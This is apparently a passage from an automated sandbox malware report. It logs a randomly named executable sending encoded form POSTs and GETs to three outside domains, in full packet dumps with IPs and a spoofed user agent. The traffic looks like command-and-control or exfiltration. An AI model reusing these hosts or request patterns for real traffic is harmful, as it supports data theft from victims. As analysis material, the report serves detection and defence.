                                                        Dec 2, 2024 10:57:59.620557070 CET1.1.1.1192.168.11.200x9d0fNo error (0)r0lqcud7.nbnnn.xyz23.225.160.132A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:59.620557070 CET1.1.1.1192.168.11.200x9d0fNo error (0)r0lqcud7.nbnnn.xyz27.124.4.246A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:59.620557070 CET1.1.1.1192.168.11.200x9d0fNo error (0)r0lqcud7.nbnnn.xyz202.79.161.151A (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • www.bloodbalancecaps.shop
                                                        • www.jalan2.online
                                                        • www.avalanchefi.xyz

                                                        HTTP Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.11.2049755108.179.253.197801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:07.612091064 CET548OUTGET /7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp+v4YM0KnHaxrwPLb6fKcgQCso5jGZqjP6MhGYYTFao+4npn6icqsLwsi7nEjf66U/iJir790dT5tO47jAWoivYoE2MWqBpMBW+o=&54p4W=QZdpHHSp3fe82zt HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.bloodbalancecaps.shop
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Dec 2, 2024 10:57:07.863846064 CET564INHTTP/1.1 301 Moved Permanently
                                                        Date: Mon, 02 Dec 2024 09:57:07 GMT
                                                        Server: nginx/1.23.4
                                                        Content-Type: text/html; charset=UTF-8
                                                        Content-Length: 0
                                                        Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                        Cache-Control: no-cache, must-revalidate, max-age=0
                                                        X-Redirect-By: WordPress
                                                        Location: http://bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp+v4YM0KnHaxrwPLb6fKcgQCso5jGZqjP6MhGYYTFao+4npn6icqsLwsi7nEjf66U/iJir790dT5tO47jAWoivYoE2MWqBpMBW+o=&54p4W=QZdpHHSp3fe82zt
                                                        X-Endurance-Cache-Level: 2
                                                        X-nginx-cache: WordPress
                                                        X-Server-Cache: true
                                                        X-Proxy-Cache: MISS


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        1192.168.11.2049756108.181.189.7801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:23.323709011 CET801OUTPOST /xu9o/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.jalan2.online
                                                        Origin: http://www.jalan2.online
                                                        Referer: http://www.jalan2.online/xu9o/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 203
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 55 61 55 74 45 55 77 57 7a 32 66 56 74 6f 4a 72 6c 74 6f 70 39 50 42 2b 4a 35 58 68 7a 77 2f 67 55 67 3d 3d
                                                        Data Ascii: qfsT1X=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkUaUtEUwWz2fVtoJrltop9PB+J5Xhzw/gUg==
                                                        Dec 2, 2024 10:57:23.499804974 CET279INHTTP/1.1 404 Not Found
                                                        content-type: text/html
                                                        cache-control: private, no-cache, max-age=0
                                                        pragma: no-cache
                                                        date: Mon, 02 Dec 2024 09:57:23 GMT
                                                        server: LiteSpeed
                                                        content-encoding: gzip
                                                        vary: Accept-Encoding
                                                        transfer-encoding: chunked
                                                        connection: close
                                                        Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                        Data Ascii: a
                                                        Dec 2, 2024 10:57:23.499944925 CET708INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                        Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4
                                                        Dec 2, 2024 10:57:23.499959946 CET5INData Raw: 30 0d 0a 0d 0a
                                                        Data Ascii: 0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        2192.168.11.2049757108.181.189.7801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:26.035235882 CET821OUTPOST /xu9o/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.jalan2.online
                                                        Origin: http://www.jalan2.online
                                                        Referer: http://www.jalan2.online/xu9o/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 223
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 70 57 51 52 54 42 4e 36 5a 6f 75 51 39 56 63 57 6b 51 79 57 5a 77 75 38 36 39 48 55 51 56 4c 63 55 67 42 68 66 33 6a 42 55 6f 6d 50 62 30 67 53 45 74 41 7a 35 4a 66 56 6c 57 33 4e 75 35 47 58 31 56 74 56 58 59 30 2f 4c 61 45 54 78 4b 6a 31 73 52 6f 59 52 31 6d 53 52 56 49 68 4a 6d 6f 70 2f 42 56 46 6f 4d 7a 6a 5a 6b 6b 74 49 79 39 30 78 52 68 63 4c 79 78 51 70 73 53 45 44 55 4f 7a 45 54 56 6c 65 45 78 34 66 63 4e 2b 63 64 4d 4e 4a 75 4a 78 79 2b 37 4a 73 72 65 4c 77 64 37 70 49 32 78 4b 31 52 78 61 43 49 6f 34 59 45 3d
                                                        Data Ascii: qfsT1X=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WpWQRTBN6ZouQ9VcWkQyWZwu869HUQVLcUgBhf3jBUomPb0gSEtAz5JfVlW3Nu5GX1VtVXY0/LaETxKj1sRoYR1mSRVIhJmop/BVFoMzjZkktIy90xRhcLyxQpsSEDUOzETVleEx4fcN+cdMNJuJxy+7JsreLwd7pI2xK1RxaCIo4YE=
                                                        Dec 2, 2024 10:57:26.483231068 CET279INHTTP/1.1 404 Not Found
                                                        content-type: text/html
                                                        cache-control: private, no-cache, max-age=0
                                                        pragma: no-cache
                                                        date: Mon, 02 Dec 2024 09:57:25 GMT
                                                        server: LiteSpeed
                                                        content-encoding: gzip
                                                        vary: Accept-Encoding
                                                        transfer-encoding: chunked
                                                        connection: close
                                                        Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                        Data Ascii: a
                                                        Dec 2, 2024 10:57:26.483280897 CET708INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                        Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4
                                                        Dec 2, 2024 10:57:26.483311892 CET5INData Raw: 30 0d 0a 0d 0a
                                                        Data Ascii: 0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        3192.168.11.2049758108.181.189.7801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:28.745503902 CET2578OUTPOST /xu9o/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.jalan2.online
                                                        Origin: http://www.jalan2.online
                                                        Referer: http://www.jalan2.online/xu9o/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 7371
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 76 4f 51 52 67 4a 4e 6f 4f 38 75 52 39 56 63 56 6b 51 7a 57 5a 78 75 38 2b 5a 4c 55 51 51 38 63 57 49 42 69 36 37 6a 41 6c 6f 6d 59 72 30 67 64 6b 74 44 75 4a 4a 4b 56 6c 47 72 4e 74 42 47 58 31 56 74 56 55 41 30 37 61 61 45 49 78 4b 6b 6a 38 52 61 63 52 30 44 53 52 63 39 68 49 53 65 75 50 68 56 46 49 63 7a 68 72 63 6b 67 49 79 2f 33 78 51 6b 63 4c 76 68 51 70 67 34 45 44 49 77 7a 44 50 56 6d 71 68 6f 67 4c 45 78 69 2b 68 51 47 37 7a 33 7a 79 53 4e 50 4e 48 4a 4f 57 42 48 33 39 61 71 4c 45 46 59 50 51 59 32 74 75 67 75 68 42 39 70 44 63 31 35 37 38 45 5a 48 43 63 58 71 74 53 73 4e 33 77 36 51 39 44 79 4e 45 6e 55 43 2b 4b 76 4a 55 74 68 39 74 59 63 78 63 44 2b 64 39 36 4f 62 78 78 30 31 75 6a 67 78 6b 32 77 38 73 49 69 52 50 39 6d 41 50 56 42 72 35 4d 76 67 73 55 55 67 51 6b 33 39 77 58 31 77 57 75 38 6d 30 48 64 41 53 52 4f 4f 58 75 38 65 64 32 65 59 53 2b [TRUNCATED]
                                                        Data Ascii: qfsT1X=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WvOQRgJNoO8uR9VcVkQzWZxu8+ZLUQQ8cWIBi67jAlomYr0gdktDuJJKVlGrNtBGX1VtVUA07aaEIxKkj8RacR0DSRc9hISeuPhVFIczhrckgIy/3xQkcLvhQpg4EDIwzDPVmqhogLExi+hQG7z3zySNPNHJOWBH39aqLEFYPQY2tuguhB9pDc1578EZHCcXqtSsN3w6Q9DyNEnUC+KvJUth9tYcxcD+d96Obxx01ujgxk2w8sIiRP9mAPVBr5MvgsUUgQk39wX1wWu8m0HdASROOXu8ed2eYS+/D91bP3hFgRVl2OsIDxTATm8p+8on6aFiGjX9H1Mg/q2FomdG26JrjfmkffyBC2EZ/X5pjY+OAX9et9wUd5M53BJmtFr6erRtMw4DYgQaME5v320prNS78ri8gbxc5ny4awXhBHUVMiKMQVt5B6M1Nb8D755OYGeWr2gdgK+xZ6Y35VA6gZxW5i0CY96VcUSYsuE8PMQipxvWRY/zRolLzSdj22mgpaHK/A3KA9ATTnR/C3pYGvr0qdo65wAM4CrYDwqmYJbMbKtZnPConWnT1ydsuVANOeUcyr0AVhELLQvHkH4hFNAJU7ELriS96mp9Az8d90pnNHArpeGo6BC1XkiUdtQVqb+nGd/EiwW6NJfUHKxfmD8xyLy00oiekatxlAT/UlRwUrt+NnETSlatZJsSuDJPHCPRsXwZeBVv084rxzMPdscXvIduVehexN98efVtPy/clqfpJYkqmlEXBeOJq9KX2yfvaKpY/i9nEGNQXKJ1nO8UOUiXbRPXrX2owCirAZW0/XGAWEDnIRw7nSMJxHxkV8YpMy9leLquWW1jPlWrOfkXWeORxLdCJjjOXp5rnqjuPFCuvHiNU6HSP/9rDgX1kQXFZGVmyoJQRO2gPFq+vdFmsxIaCPZhYerh7AEP/+rElUXQbvekOlm7bSW6LdpyVw1hf [TRUNCATED]
                                                        Dec 2, 2024 10:57:28.745548964 CET5392OUTData Raw: 4c 6d 54 73 43 73 48 77 74 69 35 42 6c 67 48 30 5a 53 37 79 57 73 70 51 63 6d 69 46 77 67 63 62 56 64 72 4a 35 70 46 74 5a 4e 36 4d 57 33 55 53 74 37 59 42 52 39 68 45 71 56 41 76 38 6e 49 4c 34 4e 32 79 57 48 45 59 43 70 2b 58 72 51 57 77 6e 4e
                                                        Data Ascii: LmTsCsHwti5BlgH0ZS7yWspQcmiFwgcbVdrJ5pFtZN6MW3USt7YBR9hEqVAv8nIL4N2yWHEYCp+XrQWwnNloaUqaaczocBwqA++T7rdJOQIprqoh7T6RStvKsZZZ4FSExlDnHV91hyOZp1/r5xRTPe97Qkx14J1cBjZlBZ60QucmbykFMlPe+FC2CoS1dyjQQ8wqjEg86zAAZZ//Os2VSXhfVxv1EcAKve/wR4TT4Fj7SlfXQFe
                                                        Dec 2, 2024 10:57:28.956459045 CET279INHTTP/1.1 404 Not Found
                                                        content-type: text/html
                                                        cache-control: private, no-cache, max-age=0
                                                        pragma: no-cache
                                                        date: Mon, 02 Dec 2024 09:57:28 GMT
                                                        server: LiteSpeed
                                                        content-encoding: gzip
                                                        vary: Accept-Encoding
                                                        transfer-encoding: chunked
                                                        connection: close
                                                        Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                        Data Ascii: a
                                                        Dec 2, 2024 10:57:28.957156897 CET708INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                        Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4
                                                        Dec 2, 2024 10:57:28.957170963 CET5INData Raw: 30 0d 0a 0d 0a
                                                        Data Ascii: 0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        4192.168.11.2049759108.181.189.7801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:31.484735966 CET540OUTGET /xu9o/?qfsT1X=Y1SnkQLh9oyCIrW0o0KovqTct3bJFcV1zoY93P6OWbCvdS06v54NadR0bxhIZaxlyI96f1lIInN9xaPSBVcrcahRLWEbyZ5aKm/xCs1reU1cMmc0xqKaSRQ=&54p4W=QZdpHHSp3fe82zt HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.jalan2.online
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Dec 2, 2024 10:57:31.657201052 CET1289INHTTP/1.1 404 Not Found
                                                        content-type: text/html
                                                        cache-control: private, no-cache, max-age=0
                                                        pragma: no-cache
                                                        content-length: 1249
                                                        date: Mon, 02 Dec 2024 09:57:31 GMT
                                                        server: LiteSpeed
                                                        connection: close
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 [TRUNCATED]
                                                        Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, [TRUNCATED]
                                                        Dec 2, 2024 10:57:31.657221079 CET171INData Raw: 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61
                                                        Data Ascii: er<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        5192.168.11.204976013.248.169.48801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:37.054807901 CET807OUTPOST /ctta/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.avalanchefi.xyz
                                                        Origin: http://www.avalanchefi.xyz
                                                        Referer: http://www.avalanchefi.xyz/ctta/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 203
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 78 77 6f 46 73 7a 6c 46 6f 47 6d 43 66 4a 35 68 31 73 50 56 34 52 30 70 58 49 61 6b 31 64 4d 34 55 77 63 6f 48 6b 6c 62 76 30 6a 73 46 7a 32 39 70 33 52 73 72 6e 5a 6e 61 41 59 62 4e 36 72 74 31 74 67 36 42 79 65 57 46 48 36 53 70 31 64 55 6a 72 79 5a 32 6a 6b 41 75 56 75 50 69 78 68 6c 64 6a 6a 36 36 42 38 33 5a 6a 35 38 72 6c 6d 36 56 43 37 44 68 45 73 49 47 64 36 48 6d 41 51 38 35 7a 6c 76 75 61 4c 67 36 4f 52 56 42 4f 76 48 49 74 58 63 75 63 51 6e 63 41 5a 48 4a 4a 57 42 4c 50 4a 42 38 35 6d 65 68 46 35 68 47 38 7a 64 55 78 7a 47 6c 67 3d 3d
                                                        Data Ascii: qfsT1X=21JNLLR6nWLwxwoFszlFoGmCfJ5h1sPV4R0pXIak1dM4UwcoHklbv0jsFz29p3RsrnZnaAYbN6rt1tg6ByeWFH6Sp1dUjryZ2jkAuVuPixhldjj66B83Zj58rlm6VC7DhEsIGd6HmAQ85zlvuaLg6ORVBOvHItXcucQncAZHJJWBLPJB85mehF5hG8zdUxzGlg==


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        6192.168.11.204976113.248.169.48801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:39.783850908 CET827OUTPOST /ctta/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.avalanchefi.xyz
                                                        Origin: http://www.avalanchefi.xyz
                                                        Referer: http://www.avalanchefi.xyz/ctta/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 223
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 59 34 56 52 73 6f 41 68 52 62 73 30 6a 73 4f 54 33 33 32 6e 52 72 72 6e 56 56 61 42 6b 62 4e 36 76 74 31 75 30 36 41 46 43 58 48 58 36 51 79 6c 64 61 74 4c 79 5a 32 6a 6b 41 75 56 72 48 69 78 35 6c 42 44 54 36 37 67 38 30 48 7a 35 2f 6f 6c 6d 36 52 43 37 48 68 45 73 2b 47 59 69 70 6d 46 4d 38 35 33 70 76 75 4c 4c 76 77 4f 52 66 50 75 75 57 50 49 76 58 70 63 6b 4e 4b 6e 6c 38 4b 5a 43 41 4b 5a 45 62 68 4c 53 36 69 57 6c 54 43 4d 4b 31 57 7a 79 64 34 71 50 56 46 2f 4c 51 47 42 66 6e 73 54 37 46 69 73 37 36 32 67 77 3d
                                                        Data Ascii: qfsT1X=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vY4VRsoAhRbs0jsOT332nRrrnVVaBkbN6vt1u06AFCXHX6QyldatLyZ2jkAuVrHix5lBDT67g80Hz5/olm6RC7HhEs+GYipmFM853pvuLLvwORfPuuWPIvXpckNKnl8KZCAKZEbhLS6iWlTCMK1Wzyd4qPVF/LQGBfnsT7Fis762gw=


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        7192.168.11.204976213.248.169.48801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:42.504777908 CET1289OUTPOST /ctta/ HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Encoding: gzip, deflate, br
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.avalanchefi.xyz
                                                        Origin: http://www.avalanchefi.xyz
                                                        Referer: http://www.avalanchefi.xyz/ctta/
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Connection: close
                                                        Content-Length: 7371
                                                        Cache-Control: max-age=0
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Data Raw: 71 66 73 54 31 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 41 34 55 6a 6b 6f 47 47 4e 62 74 30 6a 73 53 44 33 36 32 6e 51 75 72 6e 4d 63 61 42 6f 68 4e 34 6e 74 30 4d 73 36 49 55 43 58 4e 58 36 51 74 31 64 58 6a 72 79 32 32 6e 49 4d 75 56 37 48 69 78 35 6c 42 41 4c 36 79 52 38 30 46 7a 35 38 72 6c 6d 6d 56 43 36 53 68 45 30 41 47 5a 57 58 6d 78 41 38 35 58 35 76 39 74 66 76 7a 75 52 5a 43 4f 75 4f 50 49 71 50 70 59 38 33 4b 6e 35 61 4b 59 61 41 4c 75 68 59 32 37 61 47 2b 57 31 64 4c 2f 62 50 41 77 32 44 77 4b 50 72 4a 4a 72 48 42 58 6a 30 6f 77 66 79 2b 2b 58 41 74 6d 4d 63 65 6d 54 37 63 4d 6c 31 61 35 77 46 48 64 33 38 72 70 6a 62 67 66 42 2f 31 7a 6a 53 55 74 74 2b 4d 68 6f 75 6d 50 58 43 62 4c 30 47 4a 61 57 49 67 73 64 39 75 63 6b 49 34 56 4e 7a 36 30 4a 43 37 66 71 31 74 48 32 6b 70 4d 68 7a 69 33 6a 68 51 46 75 46 46 66 49 78 33 45 77 75 56 62 51 4b 6a 71 55 30 62 62 6d 42 4e 79 75 36 54 6c 54 31 6a 6f 66 [TRUNCATED]
